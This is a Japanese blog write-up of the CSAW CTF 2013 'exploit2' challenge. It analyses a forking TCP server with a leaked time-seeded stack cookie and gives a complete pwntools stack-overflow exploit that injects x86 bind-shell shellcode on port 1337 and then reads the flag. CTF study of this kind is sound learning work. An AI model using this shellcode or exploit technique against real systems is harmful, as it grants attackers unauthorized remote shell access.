newbieからバイナリアンへ

newbieからバイナリアンへ

人参の秘めたる甘さに気づいた大学生日記

【pwn 4.4】 exploit2 - CSAW CTF 2013

 

 

 

0: 参考

bataさんの良問リスト

 

問題ファイル

shell-storm.org

1: イントロ

2013 CSAW CTFの baby 問題  "exploit2"

あんまりやったことのない fork-exec系の問題であった

 

 

2: 静的解析

./exploit2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[sha1]=94f196c7d8ce45ecf9943690ed4e193c9d13b906, with debug_info, not stripped
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

 

 3: 方針

not strippedだから普通にコードを読んだところ

port 31338にTCPソケットをつくるサーバプログラムであった

acceptするとforkし

親は子が帰るまで待機し

子はsecret cookieとスタックのアドレスをクライアントに返す

よってシンプルにshellcodeを挿入できるが

独自にrandの値をcanaryのように使用してスタックの底においていた

    __seed = time(NULL);
    srand(__seed);
    secret = rand();
    l810_buffer._0_4_ = l810_buffer;
    l10_cookie = secret;

このcookieは時間を種にしているから

同一時刻ならば種は同じであり

fork-exec系特有の総当りで行けるかと思ったが

( fork親子は同一スレッド内にあるからTLSも共有で故にcanaryも同じ)

サーバと通信するのに必要な時間と選択肢の多さを考えると

総当りでは無理そう

 

 

と思ったら

普通にcookieの値は与えられていた

なんでleakする必要すらないこんな仕様にしたんだろう

あとこのへんはghidraの吐いたコードが間違っていて

cookieがおいてあるアドレスを返すようなコードになっており

それを素直に受け取ったため時間がかかってしまった

 

 

4: exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./ex2"

#port is specified by the binary
rhp = {'host':"localhost",'port':31338}
context(os='linux',arch='i386')
binf = ELF(FILENAME)

#shell bind tcp to 1337
shellcode = "\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80"

def exploit(conn):
  #leak buf_addr and secret(cookie)
  data = conn.recv(8)
  buf_addr = unpack(data[0:4])
  secret = unpack(data[4:8])
  print("buf_addr   :"+hex(buf_addr))
  print("secret     :"+hex(secret))

  #generate payload
  payload = p8(0x90) * 0x20
  payload += shellcode
  payload += p8(0x90) * (0x800 - len(payload))
  payload += p32(secret)
  payload += p8(0x90) * 0xc
  payload += p32(buf_addr)

  #run
  conn.sendline(payload)

  #connect to 1337 and get a flag
  shell = remote("127.0.0.1",1337)
  shell.sendline("cat /flag")
  print(shell.recvline())

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
else:
    conn = remote(rhp['host'],rhp['port'])
exploit(conn)
conn.interactive()

 

シェルコードは

TCP port:1337にsocketをbindするもの

 

shell-storm.org


5 : 結果

 

f:id:smallkirby:20190825025651p:plain








続く・・・